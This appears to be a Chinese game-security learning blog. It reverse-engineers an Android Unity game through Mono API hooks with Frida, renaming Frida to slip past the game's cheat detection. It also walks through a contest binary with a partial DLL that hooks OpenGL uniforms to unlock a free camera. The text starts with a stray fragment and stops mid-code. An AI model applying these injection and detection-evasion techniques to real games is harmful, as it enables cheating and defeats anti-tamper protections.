if __name__ == '__main__':
    deobf()

Rocket Mouse

2026-03-12T15:49:53.000Z

Mono API 调用链

┌──────────────────────┐
│ mono_get_root_domain │
│ 获取 Mono RootDomain  │
└──────────┬───────────┘
           │
           ▼
┌─────────────────────────┐
│ mono_thread_attach      │
│ 将当前线程附加到 Mono      │
└──────────┬──────────────┘
           │
           ▼
┌─────────────────────────┐
│ mono_domain_assembly_open│
│ 加载程序集 (.dll)         │
└──────────┬──────────────┘
           │
           ▼
┌─────────────────────────┐
│ mono_assembly_get_image │
│ 获取 MonoImage           │
│ (程序集元数据)            │
└──────────┬──────────────┘
           │
           ▼
┌─────────────────────────┐
│ mono_class_from_name    │
│ 获取类 MonoClass         │
│ (namespace + class)     │
└──────────┬──────────────┘
           │
           ▼
┌─────────────────────────┐
│ mono_class_get_method_  │
│ from_name               │
│ 获取方法 MonoMethod      │
└──────────┬──────────────┘
           │
           ▼
┌─────────────────────────┐
│ mono_runtime_invoke     │
│ 调用 C# 方法             │
└──────────┬──────────────┘
           │
           ▼
      C# Method 执行

即有这样的关系

Domain → Assembly → Image → Class → Method → Invoke

mono_get_root_domain()

获取当前 Mono 运行时的根域 (Root Domain)

MonoDomain* domain = mono_get_root_domain();
mono_thread_attach(domain);

Mono 中有 Domain（应用域）的概念，类似 .NET 的 AppDomain

Root Domain
 ├─ Domain 1 (main app)
 ├─ Domain 2 (plugin / reload)
 └─ Domain 3 ...

根域是 Mono runtime 初始化时创建的主域

mono_get_root_domain() 最常见的用途是在 native 代码里操作 C#/Mono 程序

示例（Unity 注入常见流程）：获取根域 -> 加载程序集 -> 获取类 -> 获取方法 -> 调用 C# 函数

MonoDomain* domain = mono_get_root_domain();
mono_thread_attach(domain);

MonoAssembly* assembly = mono_assembly_open("hack.dll", NULL);
MonoImage* image = mono_assembly_get_image(assembly);
MonoClass* klass = mono_class_from_name(image, "Namespace", "Class");
MonoMethod* method = mono_class_get_method_from_name(klass, "Start", 0);

mono_runtime_invoke(method, NULL, NULL, NULL);

mono_image_get_table_info()

从 Image（即 Assembly 解析后的元数据结构）取出某一张元数据表（metadata table），用于遍历程序里的类型、方法、字段。

const MonoTableInfo* mono_image_get_table_info (MonoImage *image, int table_id);

比如可以拿 TypeDef 表的每一行，然后遍历拿到类

MonoImage* image = mono_assembly_get_image(assembly);

const MonoTableInfo* table = mono_image_get_table_info(image, MONO_TABLE_TYPEDEF);
int rows = mono_table_info_get_rows(table);

for (int i = 0; i < rows; ++i) {
    uint32_t token = MONO_TOKEN_TYPE_DEF | (i + 1);
    MonoClass* klass = mono_class_get(image, token);

    if (!klass)
        continue;

    // use klass
}

字段：field 与 token（FieldDef）

assembly 中，类、字段、方法都有自己的元数据条目，IL 指令通过写 token（类似编号）来索引字段和方法。field 则像是一种运行时句柄，指向字段的元数据条目，mono_get_fields 拿到字段，mono_field_get_token 拿到句柄，mono_field_get_name 拿到字段名，这样 token 和字段就能对应起来

方法：MethodDef (def_token)、MemberRef (ref_oken)、MethodSpec (spec_oken)

对于方法, mono_method_get_token 拿到的是定义 token (MethodDef)，下面 hook dump 出来的 IL 调用方法有些是用 MemberRef

字段也有 MethodRef

高八位	Table 名	含义
0x04	FieldDef	字段
0x06	MethodDef	方法定义
0x0a	MemberRef	成员引用
0x2b	MethodSpec	泛型方法实例化(带上具体类型参数后)引用

RocketMouse

Assembly-CSharp.dll 被加密了不用管，之后把 libmono.so hook 下来可以用 Mono API 拿所有信息（assembly -> image -> table -> fqcn -> methods -> signature)。

启动游戏报 hack detected，把 android_server 和 frida-server 改个名就过了，之后尝试注入 frida 又报了，换个监听端口

adb forward tcp:28080 tcp:28080
adb shell su -c '/data/local/tmp/fd-sv -l 127.0.0.1:28080' &

成功注入（后面发现弹窗后再 attach 就行了…）

恢复托管方法结构

确认 libmono.so 导出表

nm -D resources/lib/armeabi-v7a/libmono.so | rg mono

资源非常充足，直接 hook libmono.so

frida -H 127.0.0.1:28080 -N com.personal.rocketmouse -l scripts/frida_noop.js

[MI 6::MOU ]-> [*] libmono.so loaded
[*] mono thread attached
[assembly] System
[assembly] System.Core
[assembly] UnityEngine.PlaymodeTestsRunner
[assembly] UnityEngine.Networking
[assembly] UnityEngine.UI
[assembly] Assembly-CSharp
[*] scanning Assembly-CSharp typedef rows=8
[class] LaserScript
  [method] .ctor ::
  [method] Start ::
  [method] FixedUpdate ::
[class] MouseController
  [method] .ctor ::
  [method] Start ::
  [method] FixedUpdate ::
  [method] UpdateGroundedStatus ::
  [method] AdjustJetpack :: bool
  [method] OnTriggerEnter2D :: UnityEngine.Collider2D
  [method] HitByLaser :: UnityEngine.Collider2D    # <- 这里
  [method] CollectCoin :: UnityEngine.Collider2D
  [method] AdjustFootstepsAndJetpackSound :: bool
  [method] RestartGame ::		# <- 这里
  [method] ExitToMenu ::
[class] UIManagerScript
  [method] CloseSettings ::
[*] target assembly scan complete
[assembly] UnityEngine
[assembly] mscorlib
[*] mono scan complete

去找 HitByLaser 和 RestartGame，依旧 frida

思路很简单：mono_get_root_domain 拿到根域 -> mono_assembly_get_image 拿到 Assembly-CSharp -> mono_class_from_name 拿到 MouseController -> mono_class_get_method_from_name 拿到两个方法 -> mono_method_get_header 拿到头 -> mono_method_header_get_code 拿到代码段地址 -> mono_disasm_code 拿到字节码 -> mono_compile_method JIT 成 native 入口（太方便了）

[Remote::com.personal.rocketmouse ]-> [*] libmono.so loaded
[*] mono thread attached
[*] located assembly image: Assembly-CSharp @ 0xdb3c20b0
[fields-begin] MouseController
0x04000014 jetpackForce
0x04000015 forwardMovementSpeed
0x04000016 groundCheckTransform
0x04000017 groundCheckLayerMask
0x04000018 jetpack
0x04000019 coinIconTexture
0x0400001a coinCollectSound
0x0400001b jetpackAudio
0x0400001c footstepsAudio
0x0400001d parallax
0x0400001e startButton
0x0400001f settingsButton
0x04000020 coinsLabel
0x04000021 restartDialog
0x04000022 animator
0x04000023 grounded
0x04000024 dead
0x04000025 coins
[fields-end] MouseController


=== MouseController.HitByLaser/1 ===
[meta] class=0xe930ab50 method=0xe930aeb8 header=0xe3c855c0
[il] code_size=64 max_stack=3 il_ptr=0xd0223e38
[il-bytes] 02 7b 24 00 00 04 3a 10 00 00 00 03 6f 32 00 00 0a 6f 06 00 00 2b 6f 35 00 00 0a 02 17 7d 24 00 00 04 02 7b 22 00 00 04 72 37 00 00 70 17 6f 2d 00 00 0a 02 7b 21 00 00 04 17 6f 22 00 00 0a 2a
[token-resolve-begin]
field 0x04000021
field 0x04000022
field 0x04000024
method 0x0a000032 -> UnityEngine.Component:get_gameObject () [def_token=0x06000305]
method 0x2b000006 -> UnityEngine.GameObject:GetComponent<UnityEngine.AudioSource> () [def_token=0x060003f3]
method 0x0a000035 -> UnityEngine.AudioSource:Play () [def_token=0x06001d12]
method 0x0a00002d -> UnityEngine.Animator:SetBool (string,bool) [def_token=0x06001ed0]
method 0x0a000022 -> UnityEngine.GameObject:SetActive (bool) [def_token=0x06000412]
[token-resolve-end]

[il-disasm-begin]
IL_0000: ldarg.0
IL_0001: ldfld     0x04000024
IL_0006: brtrue    IL_001b
IL_000b: ldarg.1
IL_000c: callvirt  0x0a000032
IL_0011: callvirt  0x2b000006
IL_0016: callvirt  0x0a000035
IL_001b: ldarg.0
IL_001c: ldc.i4.1
IL_001d: stfld     0x04000024
IL_0022: ldarg.0
IL_0023: ldfld     0x04000022
IL_0028: ldstr     "dead"
IL_002d: ldc.i4.1
IL_002e: callvirt  0x0a00002d
IL_0033: ldarg.0
IL_0034: ldfld     0x04000021
IL_0039: ldc.i4.1
IL_003a: callvirt  0x0a000022
IL_003f: ret

[il-disasm-end]
[native] compiled_ptr=0xd8af6160
[native-disasm-begin]
IL_0000: ldarg.0
IL_0001: ldfld     0x04000024
IL_0006: brtrue    IL_001b
IL_000b: ldarg.1
IL_000c: callvirt  0x0a000032
IL_0011: callvirt  0x2b000006
IL_0016: callvirt  0x0a000035
IL_001b: ldarg.0
IL_001c: ldc.i4.1
IL_001d: stfld     0x04000024
IL_0022: ldarg.0
IL_0023: ldfld     0x04000022
IL_0028: ldstr     "dead"
IL_002d: ldc.i4.1
IL_002e: callvirt  0x0a00002d
IL_0033: ldarg.0
IL_0034: ldfld     0x04000021
IL_0039: ldc.i4.1
IL_003a: callvirt  0x0a000022
IL_003f: ret
[il-disasm-end]

[native] compiled_ptr=0xd8af6160
[native-disasm-begin]
0xd8af6160  mov ip, sp
0xd8af6164  push {r6, r7, r8, fp, ip, lr}
0xd8af6168  sub sp, sp, #8
0xd8af616c  mov fp, sp
0xd8af6170  mov r6, r0
0xd8af6174  mov r7, r1
0xd8af6178  ldrb r0, [r6, #0x49]
0xd8af617c  cmp r0, #0
0xd8af6180  bne #0xd8af61ac
0xd8af6184  mov r0, r7
0xd8af6188  ldr lr, [r7]
0xd8af618c  bl #0xd8ae75f4
0xd8af6190  ldr lr, [r0]
0xd8af6194  movw r8, #0x8718
0xd8af6198  movt r8, #0xb267
0xd8af619c  bl #0xd8af6234
0xd8af61a0  mov r1, r0
0xd8af61a4  ldr lr, [r1]
0xd8af61a8  bl #0xd8af621c
0xd8af61ac  mov r0, #1
0xd8af61b0  strb r0, [r6, #0x49]
0xd8af61b4  ldr r3, [r6, #0x38]
0xd8af61b8  mov r0, r3
0xd8af61bc  movw r1, #0xc3a8
0xd8af61c0  movt r1, #0xe3b1
0xd8af61c4  mov r2, #1
0xd8af61c8  ldr lr, [r3]
0xd8af61cc  bl #0xd8af6204
0xd8af61d0  ldr r2, [r6, #0x34]
0xd8af61d4  mov r0, r2
0xd8af61d8  mov r1, #1
0xd8af61dc  ldr lr, [r2]
0xd8af61e0  bl #0xd8af61ec
0xd8af61e4  add sp, fp, #8
0xd8af61e8  ldm sp, {r6, r7, r8, fp, sp, pc}
0xd8af61ec  push {r0, r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, ip, lr}
0xd8af61f0  ldr r1, [pc, #8]
0xd8af61f4  mov lr, pc
0xd8af61f8  bx r1
0xd8af61fc  ldcge p14, c4, [r2, #0x60]
0xd8af6200  ldr r7, [ip, #0]!
0xd8af6204  push {r0, r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, ip, lr}
0xd8af6208  ldr r1, [pc, #8]
0xd8af620c  mov lr, pc
0xd8af6210  bx r1
<decode-error @ 0xd8af6214: Error: invalid instruction>
[native-disasm-end]


=== MouseController.RestartGame/0 ===
[meta] class=0xe930ab50 method=0xe930af18 header=0xb2ecbb68
[il] code_size=11 max_stack=8 il_ptr=0xd0223f3f
[il-bytes] 28 3a 00 00 0a 28 3b 00 00 0a 2a

[token-resolve-begin]
method 0x0a00003a -> UnityEngine.Application:get_loadedLevelName () [def_token=0x0600015b]
method 0x0a00003b -> UnityEngine.Application:LoadLevel (string) [def_token=0x0600015d]
[token-resolve-end]

[il-disasm-begin]
IL_0000: call      0x0a00003a
IL_0005: call      0x0a00003b
IL_000a: ret
[il-disasm-end]

[native] compiled_ptr=0xd8af6250
[native-disasm-begin]
0xd8af6250  mov ip, sp
0xd8af6254  push {r8, fp, ip, lr}
0xd8af6258  sub sp, sp, #8
0xd8af625c  mov fp, sp
0xd8af6260  str r0, [fp]
0xd8af6264  bl #0xd8af628c
0xd8af6268  bl #0xd8af6274
0xd8af626c  add sp, fp, #8
0xd8af6270  ldm sp, {r8, fp, sp, pc}
0xd8af6274  push {r0, r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, ip, lr}
0xd8af6278  ldr r1, [pc, #8]
0xd8af627c  mov lr, pc
0xd8af6280  bx r1
0xd8af6284  blle #0xd984cb4c
0xd8af6288  ldr r7, [ip, #0]!
0xd8af628c  push {r0, r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, ip, lr}
0xd8af6290  ldr r1, [pc, #8]
0xd8af6294  mov lr, pc
0xd8af6298  bx r1
0xd8af629c  blle #0xd984ca64
0xd8af62a0  ldr r7, [ip, #0]!
0xd8af62a4  andeq r0, r0, r0
0xd8af62a8  andeq r0, r0, r0
0xd8af62ac  andeq r0, r0, r0
0xd8af62b0  andeq r0, r0, r0
0xd8af62b4  andeq r0, r0, r0
0xd8af62b8  andeq r0, r0, r0
0xd8af62bc  andeq r0, r0, r0
0xd8af62c0  andeq r0, r0, r0
0xd8af62c4  andeq r0, r0, r0
0xd8af62c8  andeq r0, r0, r0
0xd8af62cc  andeq r0, r0, r0
0xd8af62d0  andeq r0, r0, r0
0xd8af62d4  andeq r0, r0, r0
0xd8af62d8  andeq r0, r0, r0
0xd8af62dc  andeq r0, r0, r0
0xd8af62e0  andeq r0, r0, r0
0xd8af62e4  andeq r0, r0, r0
0xd8af62e8  andeq r0, r0, r0
0xd8af62ec  andeq r0, r0, r0
0xd8af62f0  andeq r0, r0, r0
0xd8af62f4  andeq r0, r0, r0
0xd8af62f8  andeq r0, r0, r0
0xd8af62fc  andeq r0, r0, r0
0xd8af6300  andeq r0, r0, r0
0xd8af6304  andeq r0, r0, r0
0xd8af6308  andeq r0, r0, r0
0xd8af630c  andeq r0, r0, r0
[native-disasm-end]
[*] key function dump complete

之后通过 frida 动态去 patch 就可以实现无敌了。要做成打包的破解版要去看加密程序集的逻辑，先咕咕

Game security first exploration

2026-03-10T09:26:41.000Z

@source: https://learnopengl.com/Getting-started/Camera

摄像机

opengl 中通过把场景往相反方向移动来模拟出摄像机

glm::lookAt

x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}

\text{LookAt}= \begin{bmatrix} R_x & R_y & R_z & 0\\ U_x & U_y & U_z & 0\\ D_x & D_y & D_z & 0\\ 0 & 0 & 0 & 1 \end{bmatrix} \cdot \begin{bmatrix} 1 & 0 & 0 & -P_x\\ 0 & 1 & 0 & -P_y\\ 0 & 0 & 1 & -P_z\\ 0 & 0 & 0 & 1 \end{bmatrix}

glm::mat4 view = glm::lookAt(
    cameraPos,    // Camera position in world space
    cameraTarget, // Target point the camera is looking at
    cameraUp      // “Up” direction for the camera
);

lookAt 构造 view 矩阵，需要三组向量，其中有这样的关系

glm::vec3 cameraTarget = glm::vec3(0.0f, 0.0f, 0.0f);
glm::vec3 cameraDirection = glm::normalize(cameraPos - cameraTarget);

右向量（公式中的 R）由上向量（U）和方向向量（D）正交得到

解释了 lookAt 的三个参数

控制 cameraTarget 在 (0, 0, 0)，将 cameraPos 绕上轴（y轴；OpenGL 中 z 轴正方向从屏幕指出）旋转

float radius = 10.0f;
float camX = sin(glfwGetTime()) * radius;
float camZ = cos(glfwGetTime()) * radius;
glm::mat4 view;
view = glm::lookAt(glm::vec3(camX, 0.0, camZ), glm::vec3(0.0, 0.0, 0.0), glm::vec3(0.0, 1.0, 0.0));

cameraDirection, cameraFront 在文档里有点混淆（可能是相反的关系？），暂时不做深究

自由移动

为 GLFW 的键盘输入定义一个 processInput，添加检查的按键，按下按键 cameraPosition 更新，向前/向后移动把位置向量加上/减去方向向量即可，左右移动则先用叉乘创建右向量然后标准化沿着移动就可以

视角移动

文档中提到的 cameraFront 被鼠标输入改变，两种欧拉角（其实总共有三种）：

俯仰角 (Pitch) 控制抬头低头
偏航角 (Yaw) 控制左右转头

根据三角函数把两者转换成新的 front

总结

关键值

view -> 反推玩家观察姿态
- position
- front/direction -> 玩家当前视角方向
- up/right
yaw/pitch

为了避免将来我自己看得一头雾水，把我想到的一些记录一下：

基本认为 front 和 direction 相反

由 right = normalize(cross(up, direction)) 得，right = normalize(cross(front, up))

渲染图元

一个物体被画出来，涉及：

CPU 准备顶点数据，写入 VBO
1. 位置 position
2. 法线 normal
3. 纹理坐标 textcoord
4. 顶点颜色
CPU 准备索引数据，写入 EBO
VAO 记录顶点属性布局
CPU 激活 shader program
1. vertex shader：处理顶点，做坐标变换
  - 典型计算：gl_Position = projection * view * model * vec4(aPos, 1.0);
    - 模型矩阵 model，把模型局部系变换到世界系
    - 观察矩阵 view，把世界系变换到相机系
    - 投影矩阵 projection 做投影，准备后续光栅化流程
2. fragement shader：处理像素，决定最终颜色
CPU 绑定纹理
CPU 计算 model/view/projection
CPU 通过 uniform 把矩阵上传到 GPU
- 变换矩阵 model / view / projection
- 光照参数
- 材质参数
- 这一步可以截获到 3D 结构
CPU 调用 glDrawElements
GPU 按当前 VAO/EBO/program/texture/uniform 执行绘制

不难想到 glDrawElements 是绝佳的 hook 点，走到调用点时所有关键状态都已经设置好了

这个接口从数组中获取数据渲染图元。

游戏安全侧

客户端游戏的图形层数据并不安全，坐标、血量、命中框、视角、骨骼矩阵，只要进入本地进程理论上都可以被攻击
渲染 API 是典型的攻击面，因为它处在『业务逻辑』和『最终显示』之间
一种方案是渲染层数据提取
- 不修改游戏逻辑
- 不涉及网络协议
- 只观察渲染调用现场

2021 腾讯游戏安全技术竞赛初赛 PC 端

int __cdecl sub_4064D0()
{
  glfwInit_wrapper();
  glfwWindowHint_wrapper(139266, 3);
  glfwWindowHint_wrapper(139267, 3);
  glfwWindowHint_wrapper(139272, 204801);
  Window_wrapper = glfwCreateWindow_wrapper(800, 600, "XDDDDDDDDD", 0, 0);
  v1 = Window_wrapper;
  if ( !Window_wrapper )
  {
    glfwTerminate_wrapper();
    return -1;
  }
  glfwMakeContextCurrent_wrapper(Window_wrapper);
  glfwSetFramebufferSizeCallback_wrapper(v1, framebuffer_size_callback);
  glfwSetCursorPosCallback_wrapper(v1, mouse_cursor_callback);
  glfwSetInputMode_wrapper(v1, 208897, 212995);
  if ( !load_opengl_functions() )
    return -1;
  glEnable_ptr(2929);
  build_shader_program(v31, v32);
  v59[0] = xmmword_455340;
  v59[1] = xmmword_456AA0;
  v59[2] = xmmword_455470;
  v59[3] = xmmword_4554D0;
  v59[4] = xmmword_455560;
  v59[5] = xmmword_455320;
  v59[6] = xmmword_456AE0;
  v59[7] = xmmword_456A90;
  v59[8] = xmmword_455450;
  v59[9] = xmmword_455300;
  v59[10] = xmmword_455540;
  v59[11] = xmmword_4554A0;
  v59[12] = xmmword_455500;
  v59[13] = xmmword_456A70;
  v59[14] = xmmword_4552A0;
  v59[15] = xmmword_455550;
  v59[16] = xmmword_456A60;
  v59[17] = xmmword_456AC0;
  v59[18] = xmmword_456A80;
  v59[19] = xmmword_455530;
  v59[20] = xmmword_4552D0;
  v59[21] = xmmword_4554B0;
  v59[22] = xmmword_455470;
  v59[23] = xmmword_455460;
  v59[24] = xmmword_455560;
  v59[25] = xmmword_455330;
  v59[26] = xmmword_456AB0;
  v59[27] = xmmword_456A40;
  v59[28] = xmmword_455450;
  v59[29] = xmmword_4552F0;
  v59[30] = xmmword_455340;
  v59[31] = xmmword_456AB0;
  v59[32] = xmmword_456A50;
  v59[33] = xmmword_455460;
  v59[34] = xmmword_455300;
  v59[35] = xmmword_4552D0;
  v59[36] = xmmword_456AD0;
  v59[37] = xmmword_4554F0;
  v59[38] = xmmword_4554C0;
  v59[39] = xmmword_455560;
  v59[40] = xmmword_455540;
  v59[41] = xmmword_455480;
  v59[42] = xmmword_4554E0;
  v59[43] = xmmword_456A30;
  v59[44] = xmmword_455520;
  glGenVertexArrays_ptr(1, &v58);
  glGenBuffers_ptr(1, &v54);
  glBindVertexArray_ptr(v58);
  glBindBuffer_ptr(34962, v54);
  glBufferData_ptr(34962, 720, v59, 35044);
  glVertexAttribPointer_ptr(0, 3, 5126, 0, 20, 0);
  glEnableVertexAttribArray_ptr(0);
  glVertexAttribPointer_ptr(1, 2, 5126, 0, 20, 12);
  glEnableVertexAttribArray_ptr(1);
  glGenTextures_ptr(1, &v56);
  glBindTexture_ptr(3553, v56);
  glTexParameteri_ptr(3553, 10242, 10497);
  glTexParameteri_ptr(3553, 10243, 10497);
  glTexParameteri_ptr(3553, 10241, 9729);
  glTexParameteri_ptr(3553, 10240, 9729);
  dword_465FC4 = 1;
  v3 = (void *)decode_image_from_memory(&v40, &v39, &v57);
  v4 = v3;
  if ( v3 )
  {
    glTexImage2D_ptr(3553, 0, 6407, LODWORD(v40), v39, 0, 6407, 5121, v3);
    glGenerateMipmap_ptr(3553);
  }
  j___free_base(v4);
  glGenTextures_ptr(1, &v55);
  glBindTexture_ptr(3553, v55);
  glTexParameteri_ptr(3553, 10242, 10497);
  glTexParameteri_ptr(3553, 10243, 10497);
  glTexParameteri_ptr(3553, 10241, 9729);
  glTexParameteri_ptr(3553, 10240, 9729);
  v5 = (void *)decode_image_from_memory(&v40, &v39, &v57);
  v6 = v5;
  if ( v5 )
  {
    glTexImage2D_ptr(3553, 0, 6407, LODWORD(v40), v39, 0, 6408, 5121, v5);
    glGenerateMipmap_ptr(3553);
  }
  j___free_base(v6);
  v7 = v38;
  glUseProgram_ptr(v38);
  v43 = 15;
  v42 = 0;
  LOBYTE(Block[0]) = 0;
  std_string_assign_n("texture1", 8u);
  v60 = 0;
  v8 = Block;
  if ( v43 >= 0x10 )
    v8 = (void **)Block[0];
  UniformLocation_ptr = glGetUniformLocation_ptr(v38, v8, 0);
  glUniform1i_ptr(UniformLocation_ptr);
  v60 = -1;
  std_string_destroy(Block);
  v43 = 15;
  v42 = 0;
  LOBYTE(Block[0]) = 0;
  std_string_assign_n("texture2", 8u);
  v60 = 1;
  v10 = Block;
  if ( v43 >= 0x10 )
    v10 = (void **)Block[0];
  v11 = glGetUniformLocation_ptr(v38, v10, 1);
  glUniform1i_ptr(v11);
  v60 = -1;
  std_string_destroy(Block);
  if ( !glfwWindowShouldClose_wrapper(v1) )
  {
    v12 = *(double *)_libm_sse2_tan_precise().m128_u64;
    v38 = 0;
    v40 = 1.0 / v12;
    v57 = 1.0 / (float)(v12 * 1.3333334);
    do
    {
      flt_465FBC = glfwGetTime_wrapper();
      if ( glfwGetKey_wrapper(v1, 256) == 1 )
        glfwSetWindowShouldClose_wrapper(v1, 1);
      glClearColor_ptr(1045220557, 1050253722, 1050253722, 1065353216);
      glClear_ptr(16640);
      glActiveTexture_ptr(33984);
      glBindTexture_ptr(3553, v56);
      glActiveTexture_ptr(33985);
      glBindTexture_ptr(3553, v55);
      glUseProgram_ptr(v7);
      mat4_identity(&v38);
      v44 = v57;
      v45 = v40;
      v47 = -1082130432;
      v46 = -1082113638;
      v48 = -1102249656;
      v43 = 15;
      v42 = 0;
      LOBYTE(Block[0]) = 0;
      std_string_assign_n("projection", 0xAu);
      v60 = 2;
      v13 = Block;
      if ( v43 >= 0x10 )
        v13 = (void **)Block[0];
      v14 = glGetUniformLocation_ptr(v7, v13, 1);
      glUniformMatrix4fv_ptr(v14);
      v60 = -1;
      if ( v43 >= 0x10 )
      {
        v15 = Block[0];
        if ( v43 + 1 >= 0x1000 )
        {
          if ( ((int)Block[0] & 0x1F) != 0
            || (v16 = (void *)*((_DWORD *)Block[0] - 1), v16 >= Block[0])
            || (unsigned int)((char *)Block[0] - (char *)v16) < 4
            || (unsigned int)((char *)Block[0] - (char *)v16) > 0x23 )
          {
LABEL_52:
            _invalid_parameter_noinfo_noreturn();
          }
          v15 = (void *)*((_DWORD *)Block[0] - 1);
        }
        j_j___free_base(v15);
      }
      v34[0] = *(float *)&dword_464CC4 + *(float *)&qword_464CAC;
      v34[1] = *(float *)&dword_464CC8 + *((float *)&qword_464CAC + 1);
      v34[2] = *(float *)&dword_464CCC + *(float *)&dword_464CB4;
      build_view_matrix(v34);
      v43 = 15;
      v42 = 0;
      LOBYTE(Block[0]) = 0;
      std_string_assign_n("view", 4u);
      v60 = 3;
      v17 = Block;
      if ( v43 >= 0x10 )
        v17 = (void **)Block[0];
      v18 = glGetUniformLocation_ptr(v7, v17, 1);
      glUniformMatrix4fv_ptr(v18);
      v60 = -1;
      if ( v43 >= 0x10 )
      {
        v19 = Block[0];
        if ( v43 + 1 >= 0x1000 )
        {
          if ( ((int)Block[0] & 0x1F) != 0 )
            goto LABEL_52;
          v20 = (void *)*((_DWORD *)Block[0] - 1);
          if ( v20 >= Block[0]
            || (unsigned int)((char *)Block[0] - (char *)v20) < 4
            || (unsigned int)((char *)Block[0] - (char *)v20) > 0x23 )
          {
            goto LABEL_52;
          }
          v19 = (void *)*((_DWORD *)Block[0] - 1);
        }
        j_j___free_base(v19);
      }
      v43 = 15;
      v42 = 0;
      LOBYTE(Block[0]) = 0;
      glBindVertexArray_ptr(v58);
      v21 = 0;
      v22 = dword_46601C;
      if ( (dword_466020 - (int)dword_46601C) >> 2 )
      {
        v33[0] = 1065353216;
        v33[1] = 1050253722;
        v33[2] = 1056964608;
        do
        {
          v23 = v22[v21 + 1];
          v24 = v22[v21 + 2];
          v53[0] = v22[v21];
          v53[1] = v23;
          v53[2] = v24;
          mat4_zero_init(&v49);
          v25 = (__int128 *)build_model_translation_matrix(v53);
          v49 = *v25;
          v50 = v25[1];
          v51 = v25[2];
          v52 = v25[3];
          v26 = (__int128 *)build_model_scale_matrix(v33);
          v37 = 15;
          v36 = 0;
          LOBYTE(v35) = 0;
          v49 = *v26;
          v50 = v26[1];
          v51 = v26[2];
          v52 = v26[3];
          std_string_assign_n("model", 5u);
          v60 = 4;
          v27 = &v35;
          if ( v37 >= 0x10 )
            v27 = v35;
          v28 = glGetUniformLocation_ptr(v7, v27, 1);
          glUniformMatrix4fv_ptr(v28);
          v60 = -1;
          if ( v37 >= 0x10 )
          {
            v29 = v35;
            if ( v37 + 1 >= 0x1000 )
            {
              if ( ((unsigned __int8)v35 & 0x1F) != 0 )
                goto LABEL_52;
              v30 = *((_DWORD *)v35 - 1);
              if ( v30 >= (unsigned int)v35 || (char *)v35 - v30 < (char *)4 || (char *)v35 - v30 > (char *)0x23 )
                goto LABEL_52;
              v29 = (void *)*((_DWORD *)v35 - 1);
            }
            j_j___free_base(v29);
          }
          v37 = 15;
          v36 = 0;
          LOBYTE(v35) = 0;
          glDrawArrays_ptr(4u, 0, 0x24u, 0);
          v21 += 3;
          v22 = dword_46601C;
        }
        while ( v21 < (dword_466020 - (int)dword_46601C) >> 2 );
      }
      glfwSwapBuffers_wrapper(v1);
      glfwPollEvents_wrapper();
    }
    while ( !glfwWindowShouldClose_wrapper(v1) );
  }
  glDeleteVertexArrays_ptr(1, &v58);
  glDeleteBuffers_ptr(1, &v54);
  glfwTerminate_wrapper();
  return 0;
}

渲染逻辑：

加载 shader
创建 VBO
加载两个纹理
设置 uniform sampler

texture1 -> 0
texture2 -> 1

每帧循环：
	设置 projection 矩阵
	设置 view 矩阵

for each object
	设置 model 矩阵
	glDrawElements(GL_TRIANGLES, 36)

下面注入的 dll 劫持了摄像机，用键盘输入改 cameraPosition，并实现

W/S：沿 cameraFront 前后移动
A/D：沿右向量 cross(cameraFront, cameraUp) 左右平移
R/T：通过修改 fov，传入 projection 实现视野缩放

实现自由视角解锁

没有 hook glDrawElements，而是 hook glUniformMatrix4fv 的参数准备点

// @source: https://www.xuenixiang.com/thread-3160-1-1.html
// DllMain
#include "stdafx.h"
 
// 复用原程序中的 glfwGetKey_wrapper
#define RVA_glfwGetKey 0x19920
 
// 四个点，贴了附近的代码
// .text:0040653D                 call    glfwCreateWindow_wrapper
// .text:00406542                 mov     ebx, eax
#define RVA_Get_p_windows_HookPoint 0x06542
// .text:00406BD8                 sub     esp, 10h
// .text:00406BDB                 mov     [esp+474h+var_468], 3F800000h
// .text:00406BE3                 mov     [esp+474h+var_46C], 3E99999Ah
// .text:00406BEB                 mov     [esp+474h+var_470], 3E99999Ah
// .text:00406BF3                 mov     [esp+474h+var_474], 3E4CCCCDh
// .text:00406BFA                 call    glClearColor_ptr
// do
// {
//       if ( glfwGetKey_wrapper(v1, 256) == 1 )
//         glfwSetWindowShouldClose_wrapper(v1, 1);
//       glClearColor_ptr(1045220557, 1050253722, 1050253722, 1065353216);
//   ...
// }
#define RVA_Key_HookPoint 0x06BDB // 这里是接近渲染主循环每帧开头的地方，放消息钩子很合适
// std_string_assign_n("projection", 0xAu);
// v60 = 2;
// v13 = Block;	// 覆盖这里
// if ( v43 >= 0x10 )
//   v13 = (void **)Block[0];
// v14 = glGetUniformLocation_ptr(v7, v13, 1);
// glUniformMatrix4fv_ptr(v14);
#define RVA_Setprojection_HookPoint 0x06CDB
// 跟上面的差不多
#define RVA_SetView_HookPoint 0x06DEE
 
glm::vec3 cameraPos = glm::vec3(0.0f, 0.0f, 3.0f);
glm::vec3 cameraFront = glm::vec3(0.0f, 0.0f, -1.0f);
glm::vec3 cameraUp = glm::vec3(0.0f, 1.0f, 0.0f);
 
float fov = 50.0f;
 
typedef DWORD(__cdecl* pfnglfwGetKey)(DWORD p_windows, DWORD KeyValue);
pfnglfwGetKey m_glfwGetKey;
 
DWORD p_windows;
HMODULE hModule_EXE;
PVOID p_windows_HookPoint = NULL;
PVOID p_GetKey_HookPoint = NULL;
 
PVOID p_Setprojection = NULL;
PVOID p_Setview = NULL;
 
glm::mat4 projection;
glm::mat4 view;
 
// 拿到窗口句柄：目标不是找某个静态值而是主动复用原程序的输入系统，拿到窗口句柄是为了后面能够调用 glfwGetKey
VOID NAKED Get_p_windows()
{
    STACK_FRAME_BEGIN
        __asm {
        mov p_windows, eax
    }
    STACK_FRAME_END
        __asm {
        push p_windows_HookPoint
        ret
    }
}
 
// 把渲染循环 hook 下来后插入对键盘的处理
VOID NAKED prcessInPut()
{
    STACK_FRAME_BEGIN
        if (m_glfwGetKey(p_windows, GLFW_KEY_W) == GLFW_PRESS)
        {
            cameraPos += cameraFront;
        }
    if (m_glfwGetKey(p_windows, GLFW_KEY_S) == GLFW_PRESS)
    {
        cameraPos -= cameraFront;
    }
    if (m_glfwGetKey(p_windows, GLFW_KEY_A) == GLFW_PRESS)
    {
        cameraPos -= glm::normalize(glm::cross(cameraFront, cameraUp));
    }
    if (m_glfwGetKey(p_windows, GLFW_KEY_D) == GLFW_PRESS)
    {
        cameraPos += glm::normalize(glm::cross(cameraFront, cameraUp));
    }
  // R、V 拉视野
